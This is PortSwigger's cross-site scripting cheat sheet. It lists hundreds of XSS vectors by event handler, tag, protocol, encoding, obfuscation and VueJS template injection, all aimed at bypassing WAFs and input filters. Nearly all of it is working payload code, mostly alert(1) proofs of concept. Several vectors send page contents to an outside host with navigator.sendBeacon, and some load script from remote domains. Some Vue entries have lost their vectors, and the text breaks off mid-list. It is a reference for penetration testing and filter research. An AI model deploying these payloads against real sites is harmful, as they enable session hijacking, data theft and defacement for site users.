Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.

You can download a PDF version of the XSS cheat sheet.

This cheat sheet was brought to by PortSwigger Research. Follow us on twitter to receive updates.

This cheat sheet is regularly updated in 2022. Last updated: Tue, 19 Apr 2022 09:56:47 +0000.

Table of contents

Event handlers
	No user interaction
	User interaction required
Consuming tags
File upload attacks
Restricted characters
Frameworks
Protocols
Other useful attributes
Special tags
Encoding
Obfuscation
Client side template injection
	VueJS reflected
	AngularJS sandbox escapes reflected
	AngularJS sandbox escapes DOM
	AngularJS CSP bypasses
Scriptless attacks
Polyglots
WAF bypass global objects
Content types
Response content types
Impossible labs
Prototype pollution
Classic vectors (XSS crypt)

Event handlers

Event handlers that do not require user interaction

Event:

Description:

Tag:

Code:

Copy:

onafterscriptexecute

Fires after script is executed

<xss onafterscriptexecute=alert(1)><script>1</script>

Link

Compatibility:

onanimationcancel

Fires when a CSS animation cancels

<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="print()"></xss>

Link

Compatibility:

onanimationend

Fires when a CSS animation ends

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>

Link

Compatibility:

onanimationiteration

Fires when a CSS animation repeats

<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>

Link

Compatibility:

onanimationstart

Fires when a CSS animation starts

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>

Link

Compatibility:

onbeforeprint

Fires before the page is printed

<body onbeforeprint=console.log(1)>

Link

Compatibility:

onbeforescriptexecute

Fires before script is executed

<xss onbeforescriptexecute=alert(1)><script>1</script>

Link

Compatibility:

onbeforeunload

Fires after if the url changes

<body onbeforeunload=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>

Link

Compatibility:

onbegin

Fires when a svg animation begins

<svg><animate onbegin=alert(1) attributeName=x dur=1s>

Link

Compatibility:

onbounce

Fires when the marquee bounces

<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>

Link

Compatibility:

oncanplay

Fires if the resource can be played

<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

oncanplaythrough

Fires when enough data has been loaded to play the resource all the way through

<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>

Link

Compatibility:

oncuechange

Fires when subtitle changes

<video controls><source src=validvideo.mp4 type=video/mp4><track default oncuechange=alert(1) src="data:text/vtt,WEBVTT FILE

1
00:00:00.000 --> 00:00:05.000 
<b>XSS</b>
"></video>

Link

Compatibility:

ondurationchange

Fires when duration changes

<audio controls ondurationchange=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>

Link

Compatibility:

onend

Fires when a svg animation ends

<svg><animate onend=alert(1) attributeName=x dur=1s>

Link

Compatibility:

onended

Fires when the resource is finished playing

<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

onerror

Fires when the resource fails to load or causes an error

<audio src/onerror=alert(1)>

Link

Compatibility:

onfinish

Fires when the marquee finishes

<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>

Link

Compatibility:

onfocus

Fires when the element has focus

<a id=x tabindex=1 onfocus=alert(1)></a>

Link

Compatibility:

onfocusin

Fires when the element has focus

<a id=x tabindex=1 onfocusin=alert(1)></a>

Link

Compatibility:

onhashchange

Fires if the hash changes

<body onhashchange="print()">

Link

Compatibility:

onload

Fires when the element is loaded

<body onload=alert(1)>

Link

Compatibility:

onloadeddata

Fires when the first frame is loaded

<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

onloadedmetadata

Fires when the meta data is loaded

<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

onloadend

Fires when the element finishes loading

<image src=validimage.png onloadend=alert(1)>

Link

Compatibility:

onloadstart

Fires when the element begins to load

<image src=validimage.png onloadstart=alert(1)>

Link

Compatibility:

onmessage

Fires when message event is received from a postMessage call

<body onmessage=print()>

Link

Compatibility:

onpageshow

Fires when the page is shown

<body onpageshow=alert(1)>

Link

Compatibility:

onplay

Fires when the resource is played

<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

onplaying

Fires the resource is playing

<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

onpopstate

Fires when the history changes

<body onpopstate=print()>

Link

Compatibility:

onprogress

Fires when the video/audio begins downloading

<audio controls onprogress=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>

Link

Compatibility:

onrepeat

Fires when a svg animation repeats

<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />

Link

Compatibility:

onresize

Fires when the window is resized

<body onresize="print()">

Link

Compatibility:

onscroll

Fires when the page scrolls

<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>

Link

Compatibility:

onstart

Fires when the marquee starts

<marquee onstart=alert(1)>XSS</marquee>

Link

Compatibility:

ontimeupdate

Fires when the timeline is changed

<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

ontoggle

Fires when the details tag is expanded

<details ontoggle=alert(1) open>test</details>

Link

Compatibility:

ontransitioncancel

Fires when a CSS transition cancels

<style>:target {color: red;}</style><xss id=x style="transition:color 10s" ontransitioncancel=print()></xss>

Link

Compatibility:

ontransitionend

Fires when a CSS transition ends

<xss id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></xss>

Link

Compatibility:

ontransitionrun

Fires when a CSS transition begins

<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=print()></xss>

Link

Compatibility:

ontransitionstart

Fires when a CSS transition starts

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionstart=alert(1)></xss>

Link

Compatibility:

onunhandledrejection

Fires when a promise isn't handled

<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>

Link

Compatibility:

onunload

Fires when the page is unloaded

<body onunload=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>

Link

Compatibility:

onwebkitanimationend

Fires when a CSS animation ends

<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationend="alert(1)"></xss>

Link

Compatibility:

onwebkitanimationiteration

Fires when a CSS animation repeats

<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></xss>

Link

Compatibility:

onwebkitanimationstart

Fires when a CSS animation starts

<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="alert(1)"></xss>

Link

Compatibility:

onwebkittransitionend

Fires when a CSS transition ends

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend=alert(1)></xss>

Link

Compatibility:

Event handlers that do require user interaction

Event:

Description:

Tag:

Code:

Copy:

onafterprint

Fires after the page is printed

<body onafterprint=alert(1)>

Link

Compatibility:

onauxclick

Fires when right clicking or using the middle button of the mouse

<input onauxclick=alert(1)>

Link

Compatibility:

onbeforecopy

Requires you copy a piece of text

<a onbeforecopy="alert(1)" contenteditable>test</a>

Link

Compatibility:

onbeforecut

Requires you cut a piece of text

<a onbeforecut="alert(1)" contenteditable>test</a>

Link

Compatibility:

onblur

Fires when an element loses focus

<xss onblur=alert(1) id=x tabindex=1 style=display:block>test</xss><input value=clickme>

Link

Compatibility:

onchange

Requires as change of value

<input onchange=alert(1) value=xss>

Link

Compatibility:

onclick

Requires a click of the element

<xss onclick="alert(1)" style=display:block>test</xss>

Link

Compatibility:

onclose

Fires when a dialog is closed

<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>

Link

Compatibility:

oncontextmenu

Triggered when right clicking to show the context menu

<xss oncontextmenu="alert(1)" style=display:block>test</xss>

Link

Compatibility:

oncopy

Requires you copy a piece of text

<xss oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test

Link

Compatibility:

oncut

Requires you cut a piece of text

<xss oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test

Link

Compatibility:

ondblclick

Triggered when double clicking the element

<xss ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</xss>

Link

Compatibility:

ondrag

Triggered dragging the element

<xss draggable="true" ondrag="alert(1)" style=display:block>test</xss>

Link

Compatibility:

ondragend

Triggered dragging is finished on the element

<xss draggable="true" ondragend="alert(1)" style=display:block>test</xss>

Link

Compatibility:

ondragenter

Requires a mouse drag

<xss draggable="true" ondragenter="alert(1)" style=display:block>test</xss>

Link

Compatibility:

ondragleave

Requires a mouse drag

<xss draggable="true" ondragleave="alert(1)" style=display:block>test</xss>

Link

Compatibility:

ondragover

Triggered dragging over an element

<div draggable="true" contenteditable>drag me</div><xss ondragover=alert(1) contenteditable style=display:block>drop here</xss>

Link

Compatibility:

ondragstart

Requires a mouse drag

<xss draggable="true" ondragstart="alert(1)" style=display:block>test</xss>

Link

Compatibility:

ondrop

Triggered dropping a draggable element

<div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1) contenteditable style=display:block>drop here</xss>

Link

Compatibility:

onfocusout

Fires when an element loses focus

<xss onfocusout=alert(1) id=x tabindex=1 style=display:block>test</xss><input value=clickme>

Link

Compatibility:

onfullscreenchange

Fires when a video changes full screen status

<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>

Link

Compatibility:

oninput

Requires as change of value

<input oninput=alert(1) value=xss>

Link

Compatibility:

oninvalid

Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

<form><input oninvalid=alert(1) required><input type=submit>

Link

Compatibility:

onkeydown

Triggered when a key is pressed

<xss onkeydown="alert(1)" contenteditable style=display:block>test</xss>

Link

Compatibility:

onkeypress

Triggered when a key is pressed

<xss onkeypress="alert(1)" contenteditable style=display:block>test</xss>

Link

Compatibility:

onkeyup

Triggered when a key is released

<xss onkeyup="alert(1)" contenteditable style=display:block>test</xss>

Link

Compatibility:

onmousedown

Triggered when the mouse is pressed

<xss onmousedown="alert(1)" style=display:block>test</xss>

Link

Compatibility:

onmouseenter

Triggered when the mouse is hovered over the element

<xss onmouseenter="alert(1)" style=display:block>test</xss>

Link

Compatibility:

onmouseleave

Triggered when the mouse is moved away from the element

<xss onmouseleave="alert(1)" style=display:block>test</xss>

Link

Compatibility:

onmousemove

Requires mouse movement

<xss onmousemove="alert(1)" style=display:block>test</xss>

Link

Compatibility:

onmouseout

Triggered when the mouse is moved away from the element

<xss onmouseout="alert(1)" style=display:block>test</xss>

Link

Compatibility:

onmouseover

Requires a hover over the element

<xss onmouseover="alert(1)" style=display:block>test</xss>

Link

Compatibility:

onmouseup

Triggered when the mouse button is released

<xss onmouseup="alert(1)" style=display:block>test</xss>

Link

Compatibility:

onmousewheel

Fires when the mousewheel scrolls

<xss onmousewheel=alert(1) style=display:block>requires scrolling

Link

Compatibility:

onmozfullscreenchange

Fires when a video changes full screen status

<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>

Link

Compatibility:

onpagehide

Fires when the page is changed

<body onpagehide=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>

Link

Compatibility:

onpaste

Requires you paste a piece of text

<a onpaste="alert(1)" contenteditable>test</a>

Link

Compatibility:

onpause

Requires clicking the element to pause

<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

onpointerdown

Fires when the mouse down

<xss onpointerdown=alert(1) style=display:block>XSS</xss>

Link

Compatibility:

onpointerenter

Fires when the mouseenter

<xss onpointerenter=alert(1) style=display:block>XSS</xss>

Link

Compatibility:

onpointerleave

Fires when the mouseleave

<xss onpointerleave=alert(1) style=display:block>XSS</xss>

Link

Compatibility:

onpointermove

Fires when the mouse move

<xss onpointermove=alert(1) style=display:block>XSS</xss>

Link

Compatibility:

onpointerout

Fires when the mouse out

<xss onpointerout=alert(1) style=display:block>XSS</xss>

Link

Compatibility:

onpointerover

Fires when the mouseover

<xss onpointerover=alert(1) style=display:block>XSS</xss>

Link

Compatibility:

onpointerrawupdate

Fires when the pointer changes

<xss onpointerrawupdate=alert(1) style=display:block>XSS</xss>

Link

Compatibility:

onpointerup

Fires when the mouse up

<xss onpointerup=alert(1) style=display:block>XSS</xss>

Link

Compatibility:

onreset

Requires a click

<form onreset=alert(1)><input type=reset>

Link

Compatibility:

onsearch

Fires when a form is submitted and the input has a type attribute of search

<form><input type=search onsearch=alert(1) value="Hit return" autofocus>

Link

Compatibility:

onseeked

Requires clicking the element timeline

<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

onseeking

Requires clicking the element timeline

<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

onselect

Requires you select text

<input onselect=alert(1) value="XSS" autofocus>

Link

Compatibility:

onselectionchange

Fires when text selection is changed on the page

<body onselectionchange=alert(1)>select some text

Link

Compatibility:

onselectstart

Fires when beginning a text selection

<body onselectstart=alert(1)>select some text

Link

Compatibility:

onshow

Fires context menu is shown

<div contextmenu=xss><p>Right click<menu type=context id=xss onshow=alert(1)></menu></div>

Link

Compatibility:

onsubmit

Requires a form submission

<form onsubmit=alert(1)><input type=submit>

Link

Compatibility:

ontouchend

Fires when the touch screen, only mobile device

<body ontouchend=alert(1)>

Link

Compatibility:

ontouchmove

Fires when the touch screen and move, only mobile device

<body ontouchmove=alert(1)>

Link

Compatibility:

ontouchstart

Fires when the touch screen, only mobile device

<body ontouchstart=alert(1)>

Link

Compatibility:

onvolumechange

Requires volume adjustment

<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Link

Compatibility:

onwheel

Fires when you use the mouse wheel

<body onwheel=alert(1)>

Link

Compatibility:

Consuming tags

Noembed consuming tag

<noembed><img title="</noembed><img src onerror=alert(1)>"></noembed>

Link

Noscript consuming tag

<noscript><img title="</noscript><img src onerror=alert(1)>"></noscript>

Link

Style consuming tag

<style><img title="</style><img src onerror=alert(1)>"></style>

Link

Script consuming tag

<script><img title="</script><img src onerror=alert(1)>"></script>

Link

iframe consuming tag

<iframe><img title="</iframe><img src onerror=alert(1)>"></iframe>

Link

xmp consuming tag

<xmp><img title="</xmp><img src onerror=alert(1)>"></xmp>

Link

textarea consuming tag

<textarea><img title="</textarea><img src onerror=alert(1)>"></textarea>

Link

noframes consuming tag

<noframes><img title="</noframes><img src onerror=alert(1)>"></noframes>

Link

Title consuming tag

<title><img title="</title><img src onerror=alert(1)>"></title>

Link

File upload attacks

Add blob to file object

<input type="file" id="fileInput" /><script>const fileInput = document.getElementById('fileInput');const dataTransfer = new DataTransfer();const file = new File(['Hello world!'], 'hello.txt', {type: 'text/plain'});dataTransfer.items.add(file);fileInput.files = dataTransfer.files</script>

Link

Restricted characters

No parentheses using exception handling

<script>onerror=alert;throw 1</script>

Link

No parentheses using exception handling no semi colons

<script>{onerror=alert}throw 1</script>

Link

No parentheses using exception handling no semi colons using expressions

<script>throw onerror=alert,1</script>

Link

No parentheses using exception handling and eval

<script>throw onerror=eval,'=alert\x281\x29'</script>

Link

No parentheses using exception handling and eval on Firefox

<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>

Link

No parentheses using ES6 hasInstance and instanceof with eval

<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>

Link

No parentheses using ES6 hasInstance and instanceof with eval without .

<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>

Link

No parentheses using location redirect

<script>location='javascript:alert\x281\x29'</script>

Link

No parentheses using location redirect no strings

<script>location=name</script>

Link

No parentheses using template strings

Link

No parentheses using template strings and location hash

Link

No parentheses or spaces, using template strings and location hash

Link

XSS without greater than

<svg onload=alert(1)

Link

Array based destructuring using onerror

<script>throw[onerror]=[alert],1</script>

Link

Destructuring using onerror

<script>var{a:onerror}={a:alert};throw 1</script>

Link

Destructuring using default values and onerror

<script>var{haha:onerror=alert}=0;throw 1</script>

Link

Vector using window.name

<script>window.name='javascript:alert(1)';</script><svg onload=location=name>

Link

Frameworks

Bootstrap onanimationstart event

<xss class=progress-bar-animated onanimationstart=alert(1)>

Link

Bootstrap ontransitionend event

<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss>

Link

Protocols

Iframe src attribute JavaScript protocol

<iframe src="javascript:alert(1)">

Link

Object data attribute with JavaScript protocol

<object data="javascript:alert(1)">

Link

Embed src attribute with JavaScript protocol

<embed src="javascript:alert(1)">

Link

A standard JavaScript protocol

<a href="javascript:alert(1)">XSS</a>

Link

The protocol is not case sensitive

<a href="JaVaScript:alert(1)">XSS</a>

Link

Characters \x01-\x20 are allowed before the protocol

<a href=" javascript:alert(1)">XSS</a>

Link

Characters \x09,\x0a,\x0d are allowed inside the protocol

<a href="javas cript:alert(1)">XSS</a>

Link

Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

<a href="javascript
:alert(1)">XSS</a>

Link

Xlink namespace inside SVG with JavaScript protocol

<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>

Link

SVG animate tag using values

<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>

Link

SVG animate tag using to

<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>

Link

SVG set tag

<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>

Link

Data protocol inside script src

<script src="data:text/javascript,alert(1)"></script>

Link

SVG script href attribute without closing script tag

<svg><script href="data:text/javascript,alert(1)" />

Link

SVG use element Chrome/Firefox

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>

Link

Import statement with data URL

<script>import('data:text/javascript,alert(1)')</script>

Link

Base tag with JavaScript protocol rewriting relative URLS

<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>

Link

MathML makes any tag clickable

<math><x href="javascript:alert(1)">blah

Link

Button and formaction

<form><button formaction=javascript:alert(1)>XSS

Link

Input and formaction

<form><input type=submit formaction=javascript:alert(1) value=XSS>

Link

Form and action

<form action=javascript:alert(1)><input type=submit value=XSS>

Link

Animate tag with keytimes and multiple values

<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?&semi;javascript:alert(1)&semi;0" /><a id=xss><text x=20 y=20>XSS</text></a>

Link

JavaScript protocol with new line

<a href="javascript://%0aalert(1)">XSS</a>

Link

Data URL with use element and base64 encoded

<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>

Link

Data URL with use element

<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg'&gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Link

Animate tag with auto executing use element

<svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg'&gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" /><use id=x />

Link

Other useful attributes

Using srcdoc attribute

<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>

Link

Using srcdoc with entities

<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>

Link

Click a submit element from anywhere on the page, even outside the form

<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>

Link

Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements

<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

Link

Link elements: Access key attributes can enable XSS on normally unexploitable elements

<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

Link

Download attribute can save a copy of the current webpage

<a href=# download="filename.html">Test</a>

Link

Disable referrer using referrerpolicy

<img referrerpolicy="no-referrer" src="//portswigger-labs.net">

Link

Set window.name via parameter on the window.open function

<a href=# onclick="window.open('http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//','alert(1)')">XSS</a>

Link

Set window.name via name attribute in a <iframe> tag

<iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe>

Link

Set window.name via target attribute in a <base> tag

<base target="alert(1)"><a href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in base tag</a>

Link

Set window.name via target attribute in a <a> tag

<a target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in a tag</a>

Link

Set window.name via usemap attribute in a <img> tag

<img src="validimage.png" width="10" height="10" usemap="#xss"><map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map>

Link

Set window.name via target attribute in a <form> tag

<form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form>

Link

Set window.name via formtarget attribute in a <input> tag type submit

<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type submit"></form>

Link

Set window.name via formtarget attribute in a <input> tag type image

<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input name=1 type="image" src="validimage.png" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type image"></form>

Link

Special tags

Redirect to a different domain

<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">

Link

Meta charset attribute UTF-7

<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-

Link

Meta charset UTF-7

<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-

Link

UTF-7 BOM characters (Has to be at the start of the document) 1

+/v8
+ADw-script+AD4-alert(1)+ADw-/script+AD4-

Link

UTF-7 BOM characters (Has to be at the start of the document) 2

+/v9
+ADw-script+AD4-alert(1)+ADw-/script+AD4-

Link

UTF-7 BOM characters (Has to be at the start of the document) 3

+/v+
+ADw-script+AD4-alert(1)+ADw-/script+AD4-

Link

UTF-7 BOM characters (Has to be at the start of the document) 4

+/v/
+ADw-script+AD4-alert(1)+ADw-/script+AD4-

Link

Upgrade insecure requests

<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

Link

Disable JavaScript via iframe sandbox

<iframe sandbox src="//portswigger-labs.net"></iframe>

Link

Disable referer

<meta name="referrer" content="no-referrer">

Link

Encoding

Overlong UTF-8

%C0%BCscript>alert(1)</script>
%E0%80%BCscript>alert(1)</script>
%F0%80%80%BCscript>alert(1)</script>
%F8%80%80%80%BCscript>alert(1)</script>
%FC%80%80%80%80%BCscript>alert(1)</script>

Link

Unicode escapes

<script>\u0061lert(1)</script>

Link

Unicode escapes ES6 style

<script>\u{61}lert(1)</script>

Link

Unicode escapes ES6 style zero padded

<script>\u{0000000061}lert(1)</script>

Link

Hex encoding JavaScript escapes

<script>eval('\x61lert(1)')</script>

Link

Octal encoding

<script>eval('\141lert(1)')</script>
<script>eval('alert(\061)')</script>
<script>eval('alert(\61)')</script>

Link

Decimal encoding with optional semi-colon

<a href="javascript:alert(1)">XSS</a><a href="&#106avascript:alert(1)">XSS</a>

Link

SVG script with HTML encoding

<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>

Link

Decimal encoding with padded zeros

<a href="&#0000106avascript:alert(1)">XSS</a>

Link

Hex encoding entities

<a href="javascript:alert(1)">XSS</a>

Link

Hex encoding without semi-colon provided next character is not a-f0-9

<a href="j&#x61vascript:alert(1)">XSS</a>
<a href="&#x6a
avascript:alert(1)">XSS</a>
<a href="&#x6a avascript:alert(1)">XSS</a>

Link

Hex encoding with padded zeros

<a href="&#x0000006a;avascript:alert(1)">XSS</a>

Link

Hex encoding is not case sensitive

<a href="&#X6A;avascript:alert(1)">XSS</a>

Link

HTML entities

<a href="javascript&colon;alert(1)">XSS</a>
<a href="java&Tab;script:alert(1)">XSS</a>
<a href="java&NewLine;script:alert(1)">XSS</a>
<a href="javascript&colon;alert&lpar;1&rpar;">XSS</a>

Link

URL encoding

<a href="javascript:x='%27-alert(1)-%27';">XSS</a>

Link

HTML entities and URL encoding

<a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a>

Link

Obfuscation

Data protocol inside script src with base64

<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>

Link

Data protocol inside script src with base64 and HTML entities

<script src=data:text/javascript;base64,&#x59;&#x57;&#x78;&#x6c;&#x63;&#x6e;&#x51;&#x6f;&#x4d;&#x53;&#x6b;&#x3d;></script>

Link

Data protocol inside script src with base64 and URL encoding

<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>

Link

Iframe srcdoc HTML encoded

<iframe srcdoc=<script>alert(1)</script>></iframe>

Link

Iframe JavaScript URL with HTML and URL encoding

<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>

Link

SVG script with unicode escapes and HTML encoding

<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>

Link

Img tag with base64 encoding

Link

Client-side template injection

VueJS reflected

Version:

Author:

Length:

Vector:

Copy:

Version 2

Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}

Link

Version 2

Mario Heiderich (Cure53) & Sebastian Lekies (Google) & Eduardo Vela Nava (Google) & Krzysztof Kotowicz (Google)

<div v-html="''.constructor.constructor('alert(1)')()">a</div>

Link

Version 2

Gareth Heyes (PortSwigger)

<x v-html=_c.constructor('alert(1)')()>

Link

Version 2

Peter af Geijerstam (Swedish Shellcode Factory)

<x v-if=_c.constructor('alert(1)')()>

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

{{_c.constructor('alert(1)')()}}

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

{{_v.constructor('alert(1)')()}}

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

{{_s.constructor('alert(1)')()}}

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<x v-on:click='_b.constructor`alert(1)`()'>click</x>

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

{{_c.constructor('alert(1)')()}}

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<x v-bind:is="'script'" src="//14.rs" />

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<x is=script src=//⑭.₨>

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<x @click='_b.constructor`alert(1)`()'>click</x>

Link

Version 2

